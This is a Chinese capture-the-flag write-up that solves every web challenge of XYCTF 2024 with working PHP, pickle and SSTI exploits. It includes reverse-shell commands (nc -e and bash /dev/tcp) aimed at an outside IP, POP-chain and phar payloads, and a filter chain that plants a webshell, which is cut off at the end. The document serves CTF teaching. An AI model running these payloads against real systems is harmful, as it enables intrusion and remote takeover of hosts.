0


2024 XYCTF Web 方向 wp 全解

2024 XYCTF Web 方向 全解

文章目录

Web

ezhttp

考点:信息泄露+基础发包

image.png
访问

/robots.txt

image.png
访问

/l0g1n.txt

username: XYCTF
password: @JOILha!wuigqi123$

登录
image.png
添加

Referer


image.png
image.png
添加

User-Agent

image.png
image.png
直接burp(fake ip)插件一把梭
image.png
添加

Via


image.png
添加

Cookie

image.png
可以拿flag

warm up

考点:php黑魔法+变量覆盖

<?phpinclude'next.php';highlight_file(__FILE__);$XYCTF="Warm up";extract($_GET);if(isset($_GET['val1'])&&isset($_GET['val2'])&&$_GET['val1']!=$_GET['val2']&&md5($_GET['val1'])==md5($_GET['val2'])){echo"ez"."<br>";}else{die("什么情况,这么基础的md5做不来");}if(isset($md5)&&$md5==md5($md5)){echo"ezez"."<br>";}else{die("什么情况,这么基础的md5做不来");}if($XY==$XYCTF){if($XY!="XYCTF_550102591"&&md5($XY)==md5("XYCTF_550102591")){echo$level2;}else{die("什么情况,这么基础的md5做不来");}}else{die("学这么久,传参不会传?");}
extract

是典型的变量覆盖关键字
1.md5弱类型,数组绕过即可

$_GET['val1']!=$_GET['val2']&&md5($_GET['val1'])==md5($_GET['val2']

2.随便在网上找个md5结果为0e开头字符串而且本身是0e开头的

0e215962017

--------->

md5(0e215962017)=0e291242476940776845150308577824
$md5==md5($md5)
比如:0e123==0e321
  1. $XY == $XYCTF
    
    变量覆盖 直接串
    $XY
    
    $XYCTF
    
    即可

4.0e绕过md5弱相等

$XY!="XYCTF_550102591"&&md5($XY)==md5("XYCTF_550102591"))

image.png
可以沿用0e215962017的结果
image.png
进入 LLeeevvveeelll222.php

<?phphighlight_file(__FILE__);if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){echo"操作你O.o";echopreg_replace($_GET['a'],$_GET['b'],$_GET['c']);// 我可不会像别人一样设置10来个level  }else{die("有点汗流浃背");}

注意当前php版本较低
image.png
典型的preg_replace命令执行

!preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']

intval 数组绕过即可
image.png

preg_replace()+/e

执行任意命令
image.png
可以成功拿到flag
image.png

ezRCE

考点:无字母RCE(bashfuck)+shell变量构造RCE

<?phphighlight_file(__FILE__);functionwaf($cmd){$white_list=['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];$cmd_char=str_split($cmd);foreach($cmd_charas$char){if(!in_array($char,$white_list)){die("really ez?");}}return$cmd;}$cmd=waf($_GET["cmd"]);system($cmd);

快速利用可以用探姬的项目bashFuck
例如

ls

image.png
可以成功执行结果

我们可以尝试

{ls,/}

image.png
image.png

此时的payload会发现是无效的,思考这是为什么?
原因是

$'\173\154\163\54\57\175'

被shell解析后 当作了字符

{ls,/}

而不是命令,没有任何意义
现在问题转换成如何正确表示空格和命令
发现 一篇文章 利用shell脚本变量构造无字母数字命令
文中就是答案
image.png
通过

bash<<<{cat,/f*}

将 命令两次管道解析保证命令可以直接执行

bash  $'\142\141\163\150'
{cat,/f*} $'\173\143\141\164\54\57\146\52\175'
$'\142\141\163\150'<<<$'\173\143\141\164\54\57\146\52\175'

第一次,解析shell为

bash<<{cat,/f*}

第二次,将

{cat,/f*}

传递给bash正确解析
image.png
可以得到flag

ezmd5

考点:md5文件强相等

image.png
用工具fastcoll强碰撞
image.png
上传1.jpg和2.jpg即可
image.png

ezunserilze

考点:引用绕过强相等+php原生类读文件

<?phpinclude'flag.php';highlight_file(__FILE__);error_reporting(0);classFlag{public$token;public$password;publicfunction__construct($a,$b){$this->token=$a;$this->password=$b;}publicfunctionlogin(){return$this->token===$this->password;}}if(isset($_GET['pop'])){$pop=unserialize($_GET['pop']);$pop->token=md5(mt_rand());if($pop->login()){echo$flag;}}

第一段:引用绕过强相等
payload:

<?phpclassFlag{public$token;public$password;publicfunction__construct(){$this->password=&$this->token;}}$flag=newFlag();echoserialize($flag);?>

image.png
访问 fpclosefpclosefpcloseffflllaaaggg.php
第二段:PHP反序列化可控任意属性

<?phphighlight_file(__FILE__);classA{public$mack;publicfunction__invoke(){$this->mack->nonExistentMethod();}}classB{public$luo;publicfunction__get($key){echo"o.O<br>";$function=$this->luo;return$function();}}classC{public$wang1;publicfunction__call($wang1,$wang2){include'flag.php';echo$flag2;}}classD{public$lao;public$chen;publicfunction__toString(){echo"O.o<br>";returnis_null($this->lao->chen)?"":$this->lao->chen;}}classE{public$name="xxxxx";public$num;publicfunction__unserialize($data){echo"<br>学到就是赚到!<br>";echo$data['num'];}publicfunction__wakeup(){if($this->name!=''||$this->num!=''){echo"旅行者别忘记旅行的意义!<br>";}}}if(isset($_POST['pop'])){unserialize($_POST['pop']);}

编写Poc

<?phpclassA{public$mack;}classB{public$luo;}classC{public$wang1;}classD{public$lao;public$chen;}classE{public$name="xxxxx";public$num;}$e=newE();$e->name=newD();$e->name->lao=newB();$e->name->lao->luo=newA();$e->name->lao->luo->mack=newC();echo(serialize($e));

image.png

访问saber_master_saber_master.php

<?phperror_reporting(0);highlight_file(__FILE__);// flag.phpclassXYCTFNO1{public$Liu;public$T1ng;private$upsw1ng;publicfunction__construct($Liu,$T1ng,$upsw1ng= Showmaker){$this->Liu=$Liu;$this->T1ng=$T1ng;$this->upsw1ng=$upsw1ng;}}classXYCTFNO2{public$crypto0;public$adwa;publicfunction__construct($crypto0,$adwa){$this->crypto0=$crypto0;}publicfunctionXYCTF(){if($this->adwa->crypto0!='dev1l'or$this->adwa->T1ng!='yuroandCMD258'){returnFalse;}else{returnTrue;}}}classXYCTFNO3{public$KickyMu;public$fpclose;public$N1ght="Crypto0";publicfunction__construct($KickyMu,$fpclose){$this->KickyMu=$KickyMu;$this->fpclose=$fpclose;}publicfunctionXY(){if($this->N1ght=='oSthing'){echo"WOW, You web is really good!!!\n";echonew$_POST['X']($_POST['Y']);}}publicfunction__wakeup(){if($this->KickyMu->XYCTF()){$this->XY();}}}if(isset($_GET['CTF'])){unserialize($_GET['CTF']);}

POC:

<?php// flag.phpclassXYCTFNO1{public$Liu;public$T1ng;public$upsw1ng;}classXYCTFNO2{public$crypto0;public$adwa;}classXYCTFNO3{public$KickyMu;public$fpclose;public$N1ght="Crypto0";}$xyctf3=newXYCTFNO3();$xyctf3->N1ght='oSthing';$xyctf3->KickyMu=newXYCTFNO2();$xyctf3->KickyMu->adwa=newXYCTFNO1();$xyctf3->KickyMu->adwa->crypto0='dev1l';$xyctf3->KickyMu->adwa->T1ng='yuroandCMD258';echo(serialize($xyctf3));

image.png
最终命令执行触发点

echo new $_POST['X']($_POST['Y']);

php原生类读文件 SplFileObject(默认读一行)
所以要结合php伪协议读文件全部内容

X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

image.png
解码就是flag
image.png

牢牢记住,逝者为大

考点:php代码执行过滤绕过

<?phphighlight_file(__FILE__);functionKobe($cmd){if(strlen($cmd)>13){die("see you again~");}if(preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i",$cmd)){die("肘死你");}foreach($_GETas$val_name=>$val_val){if(preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i",$val_val)){return"what can i say";}}return$cmd;}$cmd=Kobe($_GET['cmd']);echo"#man,".$cmd.",manba out";echo"<br>";eval("#man,".$cmd.",mamba out");

有长度限制

strlen($cmd) > 13

考虑 反引号执行系统命令(只有两个字符) 等价于 `shell_exec(); 这个命令是没有回显的
做个转接头 逃逸 命令长度限制

`$_GET[1]`;

将执行 GET参数中1的值
过滤后最终执行

eval("#man," . $cmd . ",mamba out");

有无关字符

#

在php中是单行注释符 用 %0A换行即可绕过(到下一行了)

. ",mamba out"

后面有无关字符 用

#

注释后面即可
payload: 刚好13个字符

cmd=%0a`$_GET[1]`;%23

没有回显考虑反弹shell
payload

?cmd=%0a`$_GET[1]`;%23&1=nc 148.135.82.190 8888 -e /bi''n/sh

可以成功用nc反弹shell
image.png

ezMake

考点:命令执行绕过+shell变量替换符读文件 trick

清空 默认环境变量,但是发现echo可用
法一:利用shell变量替换符

$(<file)

读文件
看看可以如何用
image.png
坑点:这里两个

$$

才代表一个

$

注意一下

echo $$(<flag)

直接读flag
image-20240402202720412
报错带出也是可以的
image.png

法二:直接访问/flag在当前目录下,直接下载下来即可
010打开后
image.png
直接就是flag

ez?Make

考点:读文件+文件名过滤

flag在根目录下
image.png
cd到根目录下
image.png
通过shell正则匹配到flag文件,用more读取(大概禁了f,l,a,g ,/字符)
image.png

[^b]

代表不是b的其他字符

εZ?¿м@Kε¿?

考点:报错读文件+makefile自动变量

Makefile 自动变量
在Makefile中,大家经常会见到类似

     @ 
    
   
     、 
    
   
  
    @、 
   
  
@、^、$<这种类型的变量。这种变量一般称为自动变量,自动变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的含义:
  • $@:目标
  • $^:所有目标依赖
  • $<:目标依赖列表中的第一个依赖
  •                                     ?                            :所有目标依赖中被修改过的文件这里第一个依赖是就是                            /                            f                            l                            a                            g                            (                            注意                            =                            =                            坑点                            =                            =                            ,之前不要试                                  ?:所有目标依赖中被修改过的文件 这里第一个依赖是就是 /flag (注意==坑点==,之前不要试                     ?:所有目标依赖中被修改过的文件这里第一个依赖是就是/flag(注意==坑点==,之前不要试>,会导致重定向输出创建新文件了,直接影响了后续判断为依赖是FLAG,卡了半天读不到/flag)![image.png](https://img-blog.csdnimg.cn/img_convert/038544a99ffbe30d2428f88f22c14122.png) 配和报错带出即可 参照前面ezMake 坑点:这里两个```$$```才代表一个```$``````$$(<$<)```![image.png](https://img-blog.csdnimg.cn/img_convert/883a381995a53463d321ad6f0959c283.png)
    

我是一个复读机

考点:弱密码+SSTI的简单绕过(requests)

账号admin 密码asdqwe
构造错误数据登录包
image.png
直接将题目考点暴露出来 一定是SSTI
简单Fuzz一下
image.png
发现标签都闭合不了

{{}},{%%}

思考是不是代表不能做?
测了一下中文全角(任意全角字符)都可以返回正常的

{}

(有点脑洞)
image.png
image.png

requests,args,.

没有禁止
直接

requests

绕过关键词过滤

|attr()

绕过

[]

过滤

[[lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read

image.png

直接读flag

Pharme

考点:文件上传+phar文件包含+无参代码执行RCE+

__halt_compiler

函数的应用

先创建phar文件

<?phpclassevil{public$cmd;public$a;}

@unlink('test.phar');//删除之前的test.par文件(如果有)$phar=newPhar('test.phar');//创建一个phar对象,文件名必须以phar为后缀$phar->startBuffering();//开始写文件$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//写入stub$o=newevil();$o->cmd='print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();';$phar->setMetadata($o);//写入meta-data$phar->addFromString("test.txt","test");//添加要压缩的文件$phar->stopBuffering();?>

得到test.phar文件
image.png
上传phar文件
image.png
文件上传存在典型检测

__HALT_COMPILER被过滤了

将生成的Phar文件进行gzip压缩绕过即可
gzip压缩后,修改后缀为jpg
image.png
成功上传
拿文件上传地址

 /tmp/0412c29576c708cf0155e8de242169b1.jpg

image.png
访问class.php内容

<?phperror_reporting(0);highlight_file(__FILE__);classevil{public$cmd;public$a;publicfunction__destruct(){if('ch3nx1'===preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){eval($this->cmd.'isbigvegetablechicken!');}else{echo'nonono';}}}if(isset($_POST['file'])){if(preg_match('/^phar:\/\//i',$_POST['file'])){die("nonono");}file_get_contents($_POST['file']);}

关键点1.

if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))

A-Z,a-z,_,(,)

替换为空后将留下的

;

替换为

ch3nx1

后检查是否是等于

ch3nx1

简单来说就是典型的 无参代码执行RCE
用常见的绕过手法即可
关键点2.

preg_match('/^phar:\/\//i

开头不能是phar://
直接

php://filtr/resource=phar://

绕过即可
关键点3.

eval($this->cmd.'isbigvegetablechicken!');

我们的问题是:如何正常执行前面内容而忽视后面的编译错误
通过利用

__halt_compiler

函数 中断编译器的执行 可以达成这个效果
image.png
image.png
等价执行了

print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();
eval()

执行host之前的请求头
image.png
直接可以得到flag
题目溯源:

  1. 安洵杯SYCCTF2023 4号的罗纳尔多 POC基本一模一样image.png
  2. 2022 极客大挑战 ezRCE

连连看到底是连连什么看

考点:php filter chain构造指定字符串

优秀的Github项目:
1.php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator
2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本)
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
注意:以上项目只实现了构造目标字符串,字符集存在乱码,如果要构造明确的字符,需要了解构造php filter chain构造基本原理
image.png
保证php filter chain生成内容是

XYCTF

就可以得到flag
这里我们用php_filter_chain_generator辅助分析
image.png
先在本地测试调试输出
image.png
可以构造出XYCTF+一堆乱码
现在的问题是 如何去掉这堆乱码
法一:
最简解 配合 string.strip_tags过滤器剔除垃圾字符
可以去掉php,html标签内容,

<我是垃圾>

甚至可以是没有闭合的标签

<垃圾是我

后的所有字符
image.png
(这里虽然说是php7.3.0后废除,但是我看了看网上在线的php官方文档直到php8.0还没有完全废弃)
所以也是可以用的,嘿嘿
我们构造

XYCTF<

image.png
image.png
手动添加

string.strip_tags

直接剔除

<

后面的垃圾字符,输出flag
image.png
POC

convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

image.png
远程一样打通
法二:
手搓字符(利用base-decode去除非码表字符特性)
编码时遵循3变4原则,缺就用=补位
简单测试一下
image-20240411200153424
先解码后编码 -----> 可以看到 后面的 非码表字符 被剔除了
不能正常解码可以手动填充数据(用码表字符补)直到乱码中没有码表字符,也别带=号(填充可有可无,但是多次解码后会影响结果) 接下来不断解码编码
image.png

image.png
手动构造出字符

VmpCYWMxSkdXa1pYVVdGRFEwUWUar

base64-decode 4次可以剔除垃圾字符 构造出

XYCTF

image.png
手动加 base64-decode 4次即可
image.png
还是挺神奇的,不过不推荐,容易出错
法三:
poc脚本修改
队友给了个脚本,因为

=

是 工具 作者没有Fuzzing出来的
所以在直接在去掉=填充也不影响数据

import base64  
  
file_to_use ="/etc/passwd"#<?php eval($_GET[1]);?>a  
base64_payload=base64.b64encode("Vm1wQ1lXTXhTa2RYYTFwWVZWRQ".encode()).decode().replace("=","")print(base64_payload)# generate some garbage base64  
filters ="convert.iconv.UTF8.CSISO2022KR|"  
filters +="convert.base64-encode|"# make sure to get rid of any equal signs in both the string we just generated and the rest of the file  
filters +="convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:  
        filters +=open('./res/'+(str(hex(ord(c)))).replace("0x","")).read()+"|"# decode and reencode to get rid of everything that isn't valid base64  
        filters +="convert.base64-decode|"  
        filters +="convert.base64-encode|"# get rid of equal signs  
        filters +="convert.iconv.UTF8.UTF7|"  
  
filters +="convert.base64-decode"  
  
final_payload =f"php://filter/{filters}/resource={file_to_use}"withopen('test.php','w')as f:  
    f.write('<?php echo file_get_contents("'+final_payload+'");?>')print(filters)

解base64-decode 7次可以拿到

XYCTF

ezpop

考点:Fast-destruct+call_user_func闭包RCE

<?phperror_reporting(0);highlight_file(__FILE__);classAAA{public$s;public$a;publicfunction__toString(){echo"you get 2 A <br>";$p=$this->a;return$this->s->$p;}}classBBB{public$c;public$d;publicfunction__get($name){echo"you get 2 B <br>";$a=$_POST['a'];$b=$_POST;$c=$this->c;$d=$this->d;if(isset($b['a'])){unset($b['a']);}call_user_func($a,$b)($c)($d);}}classCCC{public$c;publicfunction__destruct(){echo"you get 2 C <br>";echo$this->c;}}if(isset($_GET['xy'])){$a=unserialize($_GET['xy']);thrownewException("noooooob!!!");}

关键点1.绕过

throw new Exception("noooooob!!!");

Fast-destruct即可:删除末尾的

}

快速触发

__destruct() 

(垃圾回收机制)从而绕过抛出异常终止执行
关键点2.

call_user_func($a,$b)($c)($d);
$b

$_POST

的数组(去除了a)
等价于

call_user_func($a,['key'=>'value'])($c)($d);
call_user_func

用法
image.png
思考我们PHP命令执行的几种形式,我们要如何将它联系在一起来了?
在PHP>7后,支持

('system')('ls')

这种动态执行函数的特性
简单测测 任意闭包会影响结果吗?
image.png

('system')('ls')('J1rrY')(668)(996);

任意闭包都不会影响我们的结果
那么我们现在的问题是如何让

call_user_func($a,['key'=>'value'])

返回字符串而且回调函数接受一个数组,我们自然而然想到

implode

函数,将数组的值拼接为一个字符串,非常符合我们的预期
简单测试一下
image.png

可以成功执行我们的系统命令,至此整条链子也通了
编写简单的POP链

<?phperror_reporting(0);classAAA{public$s;public$a;}classBBB{public$c;public$d;}classCCC{public$c;}$c=newCCC();$c->c=newAAA();$c->c->s=newBBB();$c->c->a="test";$c->c->s->c='cat /f*';$c->c->s->d=0;echo(serialize($c));

生成后删除末尾

}

payload:

O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:7:"cat /f*";s:1:"d";i:0;}s:1:"a";s:4:"test";}

image.png
直接读到flag
题目溯源:
1.Lctf 2018 bestphp’s revenge

<?phphighlight_file(__FILE__);$b='implode';call_user_func($_GET['f'],$_POST);session_start();if(isset($_GET['name'])){$_SESSION['name']=$_GET['name'];}var_dump($_SESSION);$a=array(reset($_SESSION),'welcome_to_the_lctf2018');call_user_func($b,$a);?>

ezClass

考点:php原生类构造字符串+php动态执行函数特性

<?phphighlight_file(__FILE__);$a=$_GET['a'];$aa=$_GET['aa'];$b=$_GET['b'];$bb=$_GET['bb'];$c=$_GET['c'];((new$a($aa))->$c())((new$b($bb))->$c());

结构

new 一个类(参数)->执行方法

利用Error类的静态方法 getMessage返回任意字符结合php的动态执行特性
image.png
例如

new Error("system")->getMessage

会返回system
image.png
POC

?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage

image.png

login

考点:pickle反序列化字节码绕过(opache绕过)

image.png
看后缀可能认为是php做后端,但是服务器的响应式flask的框架(fake php)
经典注册登录

/register.php

注册一个账号 1,1 登录成功后 查看 cookie
image.png
怀疑RememberMe的字段是 pickle反序列化后的数据
写个脚本反序列化一下

import pickle

import base64

import pickletools

cookie="gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="

data=base64.b64decode(cookie)print(pickletools.dis(data))

image.png
确定是 pickle反序列化的题目
简单Fuzz发现是过滤

R,r

字符
考虑 opache绕过 比如 i 方向 之前写过文章总结过这里不重复了
当时笔记是

[!NOTE]
可以直接拼接pickle数据(不用伪造flask-session的题)
直接将base64-decode数据最后的.去掉后贴payload直接打反弹shell

\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub.

.代表结束 可以将两个pickle流直接拼接在一起

i可用 
b'''(S'whoami'\nios\nsystem\n.'''

拼接一下

\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub(S'bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"'\nios\nsystem\n.
import pickle

import base64

import pickletools

cookie="gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="

print(base64.b64decode(cookie))

import base64

#bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"

opcode=b'''\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub(S'bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"'\nios\nsystem\n.'''

print(base64.b64encode(opcode))

对数据base64编码后

gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViKFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjEiJwppb3MKc3lzdGVtCi4=

发送请求
image.png
可以直接反弹shell
image.png
image.png

直接拿flag即可

give me flag

考点:hash长度扩展攻击

典型md5长度扩展攻击

md5($FLAG.$value.$time)===$md5
<?phpinclude('flag.php');$FLAG_md5=md5($FLAG);if(!isset($_GET['md5'])||!isset($_GET['value'])){highlight_file(__FILE__);die($FLAG_md5);}$value=$_GET['value'];$md5=$_GET['md5'];$time=time();if(md5($FLAG.$value.$time)===$md5){echo"yes, give you flag: ";echo$FLAG;}

推荐中文项目:https://github.com/shellfeel/hash-ext-attack
原先的 hashpump项目作者github删库了
法一:最简解(直接手测)
unxi时间戳
image.png

注意unix时间戳 建议提前100秒
直接将

md5($FLAG)

的值输出了
image.png

md5($FLAG.$value.$time)===$md5
$time

unix时间做了后缀字符
比如我当时的时间戳是1714025400 那我写后缀是就是 1714025500
image.png
但是如何判断flag的长度了?
完全可以 根据平台特性是动态flag 位数是固定的43位,可以参考之前的flag 猜出来
注意提交的$value是

%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%001714025500

去掉后缀的时间戳

%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00

写个脚本不断请求

import requests

url='http://127.0.0.1:54572/?md5=c3512fdf01f911d012d043c8b39ed98e&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00'whileTrue:

    res=requests.get(url=url)if"{"in res.text:print(res.text)break

image.png
就可以直接拿到flag
法二: 当时写了个脚本做的(有网络延迟time增加一点即可)
阅读项目源码原理,配合 hash-ext-attack项目调试即可
image.png

import requests
import time
import sys
import urllib.parse
from loguru import logger
from common.HashExtAttack import HashExtAttack

hash_ext_attack = HashExtAttack()

logger.remove()

logger.add(sys.stderr, level="INFO")

  

initial_url =''whileTrue:for i inrange(7,50):

        new_text_part, new_hash = hash_ext_attack.run('','28aefeaefd98fd5a4b25cc913cd06484','', i)

        quote = urllib.parse.quote(new_text_part, safe='&=')

        new_text_part2, new_hash2 = hash_ext_attack.run('','28aefeaefd98fd5a4b25cc913cd06484',str(int(time.time())+1), i)

        url =f"{initial_url}/?md5={new_hash2}&value={quote}"

        response = requests.get(url=url)print(f"Time:+{int(time.time())}")

        text = response.text

        print(f"Response: {text}")if"{"in response.text:print(f"found Flag: {response.text}")break

ezLFI

考点: php filter chain+阅读dockerfile

在docker文件中设置权限问题

chmod 400 /flag 

只有文件所有者可以读取文件内容
存在

/readflag

说明要执行shell命令
给了

include_once();

没什么好说的一眼php filter chain构造任意字符,考点重复了?
用php_filter_chain生成一句话木马即可
优秀的Github项目:
1.php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator
2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本)
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
注意:以上项目只实现了构造目标字符串,字符集可能存在乱码,如果要构造明确的字符,需要了解基本原理
考法:

  1. 文件包含直接rce(绕过include指定后缀或文件限制)
  2. 构造任意字符过判断 注意一下: 如果服务器无响应说明生成的php filter chain中有靶机系统不支持的字符集,换一个项目生成,注意一下,我这里用的是PHP_INCLUDE_TO_SHELL_CHAR_DICT项目 构造一句话木马<?php eval($_GET[1]);?>
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv